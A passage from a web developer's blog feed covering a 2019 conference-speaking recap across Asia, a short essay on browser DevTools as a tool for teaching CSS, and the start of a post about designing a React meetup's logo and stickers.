&lt;p&gt;Also, Nexmo was a sponsor at the conference, so I was going to be there either way. But let&apos;s be honest, even if Nexmo wasn&apos;t involved, I&apos;d get myself there hell or high water. I wouldn&apos;t have lived it down if I wasn&apos;t there to watch her talk in person because it was the best talk of the conference IMHO.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/9M6wDie0YKs&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Another fun thing that happened was, my friend &lt;a href=&quot;https://github.com/yongjun21/&quot;&gt;Yong Jun&lt;/a&gt; gave a workshop there as well and between himself, me and another friend who was helping out, all 3 of us had the same birthday, what are the odds?&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Japan&quot;&gt;🇯🇵&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;South Korea&quot;&gt;🇰🇷&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Taiwan&quot;&gt;🇹🇼&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Thailand&quot;&gt;🇹🇭&lt;/span&gt; @ Mozilla Developer Roadshow Asia&lt;/h2&gt;
&lt;p&gt;I went on the Mozilla Developer Roadshow again for the Asia leg, and although this was spaced out a bit more than the Europe one, because it was air travel, it felt more hectic. But I am always excited to speak at events in Asia.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/mdr2-480.jpg 480w, /images/posts/talking-css-2019/mdr2-640.jpg 640w, /images/posts/talking-css-2019/mdr2-960.jpg 960w, /images/posts/talking-css-2019/mdr2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/mdr2-640.jpg&quot; alt=&quot;Team photo at the Taipei stop&quot;&gt;
&lt;p&gt;This time around, I was still doing the talk with DevTools, but switched the focus to Grid and Subgrid instead, which I thought would tie in with Firefox&apos;s upcoming release of subgrid in 71. And this time I did have a handful of slides before the DevTools bit.&lt;/p&gt;
&lt;p&gt;Like the 2017 edition, we covered 5 cities but with more focus on the East Asian region this time. The first city which kicked off the entire thing was Tokyo, and we were joined by &lt;a href=&quot;https://twitter.com/brianskold&quot;&gt;Brian Birtles&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/dadaaism&quot;&gt;Daisuke Akatsuka&lt;/a&gt; and &lt;a href=&quot;http://www.otsukare.info/&quot;&gt;Karl Dubost&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The Japanese audience really appreciated that Brian and Daisuke did their talks in Japanese, but overall the attendees were engaged throughout the event, which made it a great way to start to the roadshow.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Insane &lt;a href=&quot;https://twitter.com/hj_chen?ref_src=twsrc%5Etfw&quot;&gt;@hj_chen&lt;/a&gt; created a Go board with CSS. There are so many new features with grids. Now I have no confidence getting back to front-end stuff 😭 &lt;a href=&quot;https://twitter.com/hashtag/DevRoadshow?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#DevRoadshow&lt;/a&gt; &lt;a href=&quot;https://t.co/omdP8sXiBG&quot;&gt;pic.twitter.com/omdP8sXiBG&lt;/a&gt;&lt;/p&gt;&amp;mdash; Tomomi Imura ☔ (@girlie_mac) &lt;a href=&quot;https://twitter.com/girlie_mac/status/1193844430299549696?ref_src=twsrc%5Etfw&quot;&gt;November 11, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;Our next stop was Seoul, and the weather wasn&apos;t fantastic while we were there. It seemed like we were bringing rain where we went, because it also rained in Tokyo. Turnout was still good though, and I spent 2 hours trying to learn how to say 1 single Korean sentence. I think I butchered it anyway, but audience was very kind about it.&lt;/p&gt;
&lt;p&gt;Taiwan was interesting because we were having the event right in the middle of the start-up expo, &lt;a href=&quot;https://meettaipei.tw/&quot;&gt;Meet Taipei&lt;/a&gt;, as opposed to having a dedicated meet-up style setup. We didn&apos;t have Brian, Daisuke or Karl this time, but were joined by Max Liu and Stan Leong from the Mozilla Taiwan office.&lt;/p&gt;
&lt;p&gt;There was a lot going on, but people showed up and stayed throughout all the talks. I made the impromptu decision to do my talk in Chinese, and flubbed a number of lines where I was trying to explain subgrid concepts.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-conversation=&quot;none&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;&lt;a href=&quot;https://twitter.com/hj_chen?ref_src=twsrc%5Etfw&quot;&gt;@hj_chen&lt;/a&gt; up and delivering CSS knowledge in Chinese &lt;a href=&quot;https://t.co/IybpchQ053&quot;&gt;pic.twitter.com/IybpchQ053&lt;/a&gt;&lt;/p&gt;&amp;mdash; Sandra 🍾🎄🎊 (@SandraPersing) &lt;a href=&quot;https://twitter.com/SandraPersing/status/1195218071109218306?ref_src=twsrc%5Etfw&quot;&gt;November 15, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;The team felt I did a good job, but personally I felt it was because they didn&apos;t understand Chinese and hence couldn&apos;t tell either way. I guess I can take solace in the fact that I sold the body language part of things.&lt;/p&gt;
&lt;p&gt;It may have been because I&apos;ve been speaking overseas for quite a bit lately that I especially treasure the opportunities to speak in my home regions of Singapore and Malaysia. Our fourth stop was Singapore and I was exceptionally excited about it.&lt;/p&gt;
&lt;p&gt;Because I wanted to deliver the whole talk in Singlish, and Sandra gave me the go-ahead to do it. It was great fun (for me, obviously), and there were a number of familiar faces in the audience, which I really appreciated.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;I’m listening authentic SINGLISH from &lt;a href=&quot;https://twitter.com/hj_chen?ref_src=twsrc%5Etfw&quot;&gt;@hj_chen&lt;/a&gt; at &lt;a href=&quot;https://twitter.com/mozilla?ref_src=twsrc%5Etfw&quot;&gt;@mozilla&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/devroadshow?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#devroadshow&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/pullingmyhair?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#pullingmyhair&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/ihavenoidea?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#ihavenoidea&lt;/a&gt; &lt;a href=&quot;https://t.co/8qcs1fpdXJ&quot;&gt;pic.twitter.com/8qcs1fpdXJ&lt;/a&gt;&lt;/p&gt;&amp;mdash; { ”justin”: ”yoo” } ✈️ Seoul - PWA/Azure Workshop (@justinchronicle) &lt;a href=&quot;https://twitter.com/justinchronicle/status/1196389678758260736?ref_src=twsrc%5Etfw&quot;&gt;November 18, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;Our last and final stop was Bangkok, which was a fairly last minute switch as our original final stop was Hong Kong. Unfortunately due to the upheavel there at the time, we had no choice but to cancel the Hong Kong stop.&lt;/p&gt;
&lt;p&gt;Luckily, I was able to reach out to &lt;a href=&quot;https://twitter.com/dtinth&quot;&gt;Thai Pangsakulyanont&lt;/a&gt;, who is not only a wonderful speaker, but also organises tech events around Thailand as well. He managed to help connect us to the relevant people and made the Bangkok stop a reality.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/mdr3-480.jpg 480w, /images/posts/talking-css-2019/mdr3-640.jpg 640w, /images/posts/talking-css-2019/mdr3-960.jpg 960w, /images/posts/talking-css-2019/mdr3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/mdr3-640.jpg&quot; alt=&quot;Reunited with team Thailand who came for JSConf.Asia&quot;&gt;
&lt;p&gt;This has been my third Mozilla Developer Roadshow and each one has been a new and rewarding experience. Getting the opportunity to share about CSS with local developer communities in so many countries is a privilege that I will always treasure.&lt;/p&gt;
&lt;p&gt;Fun fact. I once again managed to hit my not-so-secret secret agenda of going climbing (just bouldering, actually) at each stop. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person dancing&quot;&gt;💃&lt;/span&gt;&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/mdr-480.jpg 480w, /images/posts/talking-css-2019/mdr-640.jpg 640w, /images/posts/talking-css-2019/mdr-960.jpg 960w, /images/posts/talking-css-2019/mdr-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/mdr-640.jpg&quot; alt=&quot;Climbing gyms in Tokyo, Seoul, Taipei and Bangkok&quot;&gt;
&lt;h3&gt;Intermission: &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt; @ DevRel Summit 2019&lt;/h3&gt;
&lt;p&gt;We had an “off” day during the Singapore stop. And what did we do? We held another event! Eventception, because why not? DevRel Summit this year was much smaller than previous iterations but because of that, every single attendee had ample chance to engage with each other and the speakers.&lt;/p&gt;
&lt;p&gt;This was probably the best “hallway track” any event had ever seen IMO. The talk content was spectacular because the theme was DevRel in APAC and every speaker brought a perspective that represented their respective regions.&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2019/devrel.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/devrel@2x.jpg 2x&quot; alt=&quot;Family photo at DevRel Summit 2019&quot;&gt;
&lt;p&gt;To me, it made a strong point that we are such a rich and diverse region that painting APAC with a single brush is doing a great disservice to every single developer who is from Asia. I greatly appreciated the opportunity to be the emcee for such an amazing event.&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Malaysia&quot;&gt;🇲🇾&lt;/span&gt; @ DevFest &amp;amp; BizFest Georgetown 2019&lt;/h2&gt;
&lt;p&gt;My first homecoming of the year! I didn&apos;t get the chance to go back to Penang at all this year before this event. The crew who organise DevFests in Malaysia are a dedicated and incredible group of people.&lt;/p&gt;
&lt;p&gt;And I gave them my word that if they ever organise any event and need a speaker, I will come home for them even if there is no travel budget. Even though DevFests carry the Google brand name, they are actually completely community-run events.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/gdg-480.jpg 480w, /images/posts/talking-css-2019/gdg-640.jpg 640w, /images/posts/talking-css-2019/gdg-960.jpg 960w, /images/posts/talking-css-2019/gdg-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/gdg-640.jpg&quot; alt=&quot;On stage at DevFest Georgetown&quot;&gt;
&lt;p&gt;Truth be told, I did not grow up in Penang. But because my household predominantly spoke Penang Hokkien, which is not spoken anywhere else outside the state, whenever I step onto Penang and hear this familiar accent all around me, it&apos;s a pretty indescribable feeling.&lt;/p&gt;
&lt;p&gt;I did a longer version of my subgrid talk for this event, tweaking it on the fly when I realised that a majority of the audience were not full-time web developers. No matter, it&apos;s still a plus that I was able to show what the web is now capable of.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/gdg2-480.jpg 480w, /images/posts/talking-css-2019/gdg2-640.jpg 640w, /images/posts/talking-css-2019/gdg2-960.jpg 960w, /images/posts/talking-css-2019/gdg2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/gdg2-640.jpg&quot; alt=&quot;Street food stall selling pancakes&quot;&gt;
&lt;p&gt;One of the best things about this event IMO was the local street food stalls that served our childhood favourites! Local flavour at its best. For those of you who have never been to Penang, it has undoubtedly the best food in the world. You can quote me on that.&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Malaysia&quot;&gt;🇲🇾&lt;/span&gt; @ DevFest Kuala Lumpur 2019&lt;/h2&gt;
&lt;p&gt;This was the 10-year anniversary of DevFest KL, and so it was a pretty huge event with a turnout of 800. It was a multi-track event but every talk felt packed. The organisers had designed custom dinosaur stickers just for the event, and every speaker got a plushie!&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/devfest-480.jpg 480w, /images/posts/talking-css-2019/devfest-640.jpg 640w, /images/posts/talking-css-2019/devfest-960.jpg 960w, /images/posts/talking-css-2019/devfest-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/devfest-640.jpg&quot; alt=&quot;Green and yellow dinosaur plushie&quot;&gt;
&lt;p&gt;I did a condensed version of my subgrid talk in the Foyer stage, which was quite fun, and also helped out with emcee-ing for the web edition of the Kazoo quiz. I was glad to have been able to meet so many cool people, both familiar and new.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/devfest2-480.jpg 480w, /images/posts/talking-css-2019/devfest2-640.jpg 640w, /images/posts/talking-css-2019/devfest2-960.jpg 960w, /images/posts/talking-css-2019/devfest2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/devfest2-640.jpg&quot; alt=&quot;On stage at DevFest KL&quot;&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;How many speakers can you fit in a selfie? 😉 &lt;a href=&quot;https://twitter.com/hashtag/DevFestKL19?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#DevFestKL19&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/DevFest?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#DevFest&lt;/a&gt;&lt;a href=&quot;https://twitter.com/shazahakim?ref_src=twsrc%5Etfw&quot;&gt;@shazahakim&lt;/a&gt; &lt;a href=&quot;https://t.co/STSNOE7KbG&quot;&gt;pic.twitter.com/STSNOE7KbG&lt;/a&gt;&lt;/p&gt;&amp;mdash; Saurabh Arora (@saurabh_arora90) &lt;a href=&quot;https://twitter.com/saurabh_arora90/status/1203275681947238401?ref_src=twsrc%5Etfw&quot;&gt;December 7, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;Having my last two talks of the year being Malaysian events was quite a blessing. Even though Penang is my hometown, I think part of my heart never left Kuala Lumpur. For context, I had moved there in 2006 to join the national women&apos;s basketball team, and I stayed there for 8 years.&lt;/p&gt;
&lt;p&gt;Kuala Lumpur was where I chased a dream. It was the place where I shed the most blood, sweat and tears. It was even where my web development career started. So this place means something to me.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/devfest3-480.jpg 480w, /images/posts/talking-css-2019/devfest3-640.jpg 640w, /images/posts/talking-css-2019/devfest3-960.jpg 960w, /images/posts/talking-css-2019/devfest3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/devfest3-640.jpg&quot; alt=&quot;2 of my teammates from the national team&quot;&gt;
&lt;p&gt;2019 has been a challenging year for me. As the year drew to a close, and with a number of things weighing on my mind, I think I needed to be there. To be meet up with people who were a big part of my life during those 8 years. To revisit the places I spent so much time in.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I don&apos;t think anyone would have read through this whole thing but these speaking recap posts have been more for myself than anyone else. Spending more than 50% of this year not sleeping in my own bed has sort of broken my sense of time, so writing all this down helps.&lt;/p&gt;
&lt;p&gt;I have no idea what 2020 will bring, but I do hope that I&apos;ve made some positive contributions to the community this year.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/badges-480.jpg 480w, /images/posts/talking-css-2019/badges-640.jpg 640w, /images/posts/talking-css-2019/badges-960.jpg 960w, /images/posts/talking-css-2019/badges-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/badges-640.jpg&quot; alt=&quot;Conference badges hanging in my closet&quot;&gt;</content:encoded></item><item><title>DevTools as the ultimate CSS advocate</title><link>https://chenhuijing.com/blog/devtools-the-ultimate-css-advocate/</link><guid isPermaLink="true">https://chenhuijing.com/blog/devtools-the-ultimate-css-advocate/</guid><description>I&apos;ve just come off the Mozilla Developer Roadshow, and it&apos;s the third one I&apos;ve done so far. As a Mozilla volunteer, it has been quite a privilege to be part of…</description><pubDate>Sun, 24 Nov 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ve just come off the &lt;a href=&quot;https://mozilla-tito-devr.netlify.com/&quot;&gt;Mozilla Developer Roadshow&lt;/a&gt;, and it&apos;s the third one I&apos;ve done so far. As a Mozilla volunteer, it has been quite a privilege to be part of such a meaningful event. I&apos;m fairly fond of this style of event, where it&apos;s focused on local communities, on sharing knowledge and updates about Firefox and web technologies in a smaller, more intimate setting.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;📢 &lt;a href=&quot;https://twitter.com/hj_chen?ref_src=twsrc%5Etfw&quot;&gt;@hj_chen&lt;/a&gt; is talking about all the awesome features of CSS Grid 🔥&lt;a href=&quot;https://twitter.com/mozilla?ref_src=twsrc%5Etfw&quot;&gt;@mozilla&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/DevRoadshow?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#DevRoadshow&lt;/a&gt; 🇹🇭 &lt;a href=&quot;https://t.co/yrCByTl7lF&quot;&gt;pic.twitter.com/yrCByTl7lF&lt;/a&gt;&lt;/p&gt;&amp;mdash; Henry Lim ✈️ #DevFest 🇮🇩🇲🇾 (@henrylim96) &lt;a href=&quot;https://twitter.com/henrylim96/status/1197146053176225793?ref_src=twsrc%5Etfw&quot;&gt;November 20, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;My involvement with the roadshow started in 2017, way before I knew what developer relations was. Now, in hindsight, I was probably doing devrel-like things but just not as a full-time job. My interest in tech stemmed from the web, and I genuinely love web technologies. Native web technologies. And the internet as an infrastructure that allowed the web to exist.&lt;/p&gt;
&lt;p&gt;Browsers fascinate me to no end as well. Because the web is one of the only places where backwards compatibility is a hard requirement. Everyone involved in growing and advancing the web, from standards bodies, to browser vendors, to open-source contributors, are aware of the phrase “we can&apos;t break the web”. And I love that.&lt;/p&gt;
&lt;h2&gt;So about DevTools and CSS&lt;/h2&gt;
&lt;p&gt;For the latter half of this year, I&apos;ve been talking mainly about DevTools for CSS, because the more I thought about it, the more I realised that DevTools is more than just a debugging tool. The nature of how developers access and use DevTools gives it the potential to be much more.&lt;/p&gt;
&lt;p&gt;Most web developers will open DevTools at some point in their process, often when things are not behaving as expected. This is an opportunity for DevTools to help with the understanding of what is going on with their CSS.&lt;/p&gt;
&lt;p&gt;As of now, Firefox is the only browser that is focusing on moving in this direction. They ship their new CSS features and DevTools support for that feature at the same time. And this makes perfect sense. When developers encounter and try out a new CSS feature, it is inevitable that DevTools will be invoked.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devtools-css/browsers-480.jpg 480w, /images/posts/devtools-css/browsers-640.jpg 640w, /images/posts/devtools-css/browsers-960.jpg 960w, /images/posts/devtools-css/browsers-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devtools-css/browsers-640.jpg&quot; alt=&quot;Devtools layout inspector&quot;&gt;
&lt;p&gt;CSS has a very visual output. The value that DevTools can provide is a visualisation of what CSS is doing to the elements on the page. Most browsers have rudimentary support for things like margins, borders and paddings on each element, but that&apos;s about it.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-conversation=&quot;none&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;CSS GRID IS ANIMATABLE. WHAT?! 🤯&lt;br&gt;&lt;br&gt;Did not know this. &lt;br&gt;Now I know this. &lt;br&gt;TIL!&lt;br&gt;&lt;br&gt;Thanks, &lt;a href=&quot;https://twitter.com/hj_chen?ref_src=twsrc%5Etfw&quot;&gt;@hj_chen&lt;/a&gt;! 😍&lt;a href=&quot;https://twitter.com/hashtag/ViewSourceConf?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#ViewSourceConf&lt;/a&gt; &lt;a href=&quot;https://t.co/m7GTtXWv0Q&quot;&gt;pic.twitter.com/m7GTtXWv0Q&lt;/a&gt;&lt;/p&gt;&amp;mdash; Tejas Kumar (@TejasKumar_) &lt;a href=&quot;https://twitter.com/TejasKumar_/status/1179012406418251776?ref_src=twsrc%5Etfw&quot;&gt;October 1, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;The newer CSS features, like Flexbox, Grid or Shapes, introduce new properties and behaviours that can sometimes be complicated to people who are encountering them for the first time. One of my not-so-secret agendas is to encourage developers to use as many new (and potentially unfamiliar) CSS properties as possible.&lt;/p&gt;
&lt;p&gt;The browser landscape has changed since the early days of Mosaic, and the speed at which new features and bug fixes are shipped has increased dramatically. If DevTools can somehow make it easier to comprehend new CSS properties and behaviours, I&apos;m convinced that more developers would be willing to try them out for themselves.&lt;/p&gt;
&lt;p&gt;And that is why I think DevTools can become the ultimate CSS advocate, if browser vendors choose to push their respective DevTools functionality in that direction.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;.&lt;a href=&quot;https://twitter.com/hj_chen?ref_src=twsrc%5Etfw&quot;&gt;@hj_chen&lt;/a&gt;’s talk on layout logic is a reminder of how great the &lt;a href=&quot;https://twitter.com/FirefoxDevTools?ref_src=twsrc%5Etfw&quot;&gt;@FirefoxDevTools&lt;/a&gt; are for CSS layout work &lt;a href=&quot;https://twitter.com/hashtag/ViewSourceConf?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#ViewSourceConf&lt;/a&gt; &lt;a href=&quot;https://t.co/YtG4N1dvVd&quot;&gt;pic.twitter.com/YtG4N1dvVd&lt;/a&gt;&lt;/p&gt;&amp;mdash; Melanie Richards (@soMelanieSaid) &lt;a href=&quot;https://twitter.com/soMelanieSaid/status/1179010663009718272?ref_src=twsrc%5Etfw&quot;&gt;October 1, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Anyway, these are just some thoughts about DevTools that I&apos;ve had but never had the time to explicitly state them during the talks that I give. Largely because the focus of my talks was the CSS, and DevTools was a means to explain the CSS. Because DevTools can be ah-maz-ing at explaining CSS.&lt;/p&gt;
</content:encoded></item><item><title>The one which is impossible to spell</title><link>https://chenhuijing.com/blog/the-one-which-is-impossible-to-spell/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-which-is-impossible-to-spell/</guid><description>Some people may be aware that I run the local CSS meetup in Singapore. A few more may know that we&apos;ve recently celebrated 4 years of miraculous existence. I&apos;ve…</description><pubDate>Mon, 18 Nov 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Some people may be aware that I run the local CSS meetup in Singapore. A few more may know that we&apos;ve recently celebrated 4 years of miraculous existence. I&apos;ve always held the strong opinion that the Singapore tech community is one of the most unique and vibrant in the world.&lt;/p&gt;
&lt;p&gt;This is the result of an amalgamation of factors, some of which were due to efforts by local community leaders, others simply a matter of good public infrastructure. But what we end up with is a highly conducive environment for sharing knowledge through tech meet-ups.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/rk/geekbrunch-480.jpg 480w, /images/posts/rk/geekbrunch-640.jpg 640w, /images/posts/rk/geekbrunch-960.jpg 960w, /images/posts/rk/geekbrunch-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/rk/geekbrunch-640.jpg&quot; alt=&quot;Geekbrunch, where local geeks eat brunch at a hipster cafe&quot;&gt;
&lt;p&gt;Community leaders like &lt;a href=&quot;https://coderkungfu.com/&quot;&gt;Michael Cheng&lt;/a&gt;, &lt;a href=&quot;http://winstonyw.com/&quot;&gt;Winston Teo&lt;/a&gt;, &lt;a href=&quot;https://chinmay.audio/&quot;&gt;Chinmay Pendharkar&lt;/a&gt;, &lt;a href=&quot;https://sayan.ee/&quot;&gt;Sayanee Basu&lt;/a&gt;, just to name a few, made a lasting impression on me when I first joined the Singapore tech community back in 2013. The community they built was and still is inclusive, welcoming and open.&lt;/p&gt;
&lt;p&gt;Earlier this year, I got to know &lt;a href=&quot;https://wgea.io/&quot;&gt;Gao Wei&lt;/a&gt;, who is one of the most amazing human beings I&apos;ve ever met. At the time she was running an internal sharing at &lt;a href=&quot;https://shopee.sg&quot;&gt;Shopee&lt;/a&gt; called React Knowledgeable or &lt;code&gt;&amp;lt;RK /&amp;gt;&lt;/code&gt;. I am unable to spell the word “Knowledgeable” without thinking hard, even now, hence the title of this post.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;One of Shopee&apos;s internal sharing sessions&lt;/figcaption&gt;
  &lt;img srcset=&quot;/images/posts/rk/internalrk-480.jpg 480w, /images/posts/rk/internalrk-640.jpg 640w, /images/posts/rk/internalrk-960.jpg 960w, /images/posts/rk/internalrk-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/rk/internalrk-640.jpg&quot; alt=&quot;Shopee&apos;s internal sharing session&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;But anyway, she decided to make it public in August this year, and so &lt;a href=&quot;https://reactknowledgeable.org/&quot;&gt;React Knowledgeable&lt;/a&gt; AKA &lt;code&gt;&amp;lt;RK⚡️ /&amp;gt;&lt;/code&gt; was born. What does this have to do with me? Especially given that I clearly don&apos;t do React (at least not since 2017). Well, I&apos;m useless at many things, but I can CSS better than most people I know (and also design a little bit).&lt;/p&gt;
&lt;p&gt;So my contribution to this endeavour is purely visual.&lt;/p&gt;
&lt;h2&gt;Look and feel&lt;/h2&gt;
&lt;p&gt;I guess Wei also figured out I&apos;m fairly useless on the React/Gatsby front but she did ask if I could come up with a logo for RK. That I could do. The base concept was the wordmark “`&lt;RK /&gt;”, and given the code-style syntax, I wanted a monospace font for this.&lt;/p&gt;
&lt;p&gt;The website itself was typeset in &lt;a href=&quot;https://github.com/IBM/plex&quot;&gt;IBM Plex Mono&lt;/a&gt;, which is a pretty nice monospace, but I thought having the same font in the logo and the website itself was a little monotonous. And it just so happened I came across &lt;a href=&quot;https://github.com/belluzj/fantasque-sans&quot;&gt;Fantasque Sans Mono&lt;/a&gt;.&lt;/p&gt;
&lt;img src=&quot;/images/posts/rk/fantasque.jpg&quot; srcset=&quot;/images/posts/rk/fantasque@2x.jpg 2x&quot; alt=&quot;Sample of Fantasque Sans Mono&quot;&gt;
&lt;p&gt;Personally, I have a soft spot for monospace fonts with a touch of handwriting-like style. And once I saw the glyph for “k” I was sold. Some people collect stamps, some people collect Pokémon, I collect fonts. Don&apos;t judge.&lt;/p&gt;
&lt;p&gt;I used to use Sketch but only had 1 license. Unfortunately I work on multiple machines, so I realised Figma was a good alternative, and it imported &lt;code&gt;.sketch&lt;/code&gt; files beautifully.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Figma is free yo…&lt;/figcaption&gt;
  &lt;img srcset=&quot;/images/posts/rk/figma-480.jpg 480w, /images/posts/rk/figma-640.jpg 640w, /images/posts/rk/figma-960.jpg 960w, /images/posts/rk/figma-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/rk/figma-640.jpg&quot; alt=&quot;RK visual assets working document&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;A couple of ideas got thrown around but eventually the arcade cabinet design won. There&apos;s an in-joke to that, so go ask Wei if you&apos;re in town and attend one of the meetups. Once you have a logo, you have to make stickers out of it. Another idea was to have limited edition speaker stickers for people who spoke at the meetup.&lt;/p&gt;
&lt;p&gt;For that I thought a glitch effect on the word &lt;code&gt;&amp;lt;RKSpeaker /&amp;gt;&lt;/code&gt; would be a fun effect to have inside the arcade cabinet frame. And that became the style for secondary graphics like the 404 page graphic or even the 302 page graphic (it&apos;s a &lt;a href=&quot;https://github.com/react-knowledgeable/rk-community-site/issues/8&quot;&gt;Gatsby bug/issue&lt;/a&gt; thing)&lt;/p&gt;
&lt;p&gt;My favourite sticker supplier, &lt;a href=&quot;https://www.goodieswag.com/&quot;&gt;GoodieSwag&lt;/a&gt;, handled the designs without issue, so if you&apos;re based in Southeast Asia, consider giving them a try for all your sticker printing needs. I print all my stickers with them, FYI.&lt;/p&gt;
&lt;figure&gt;
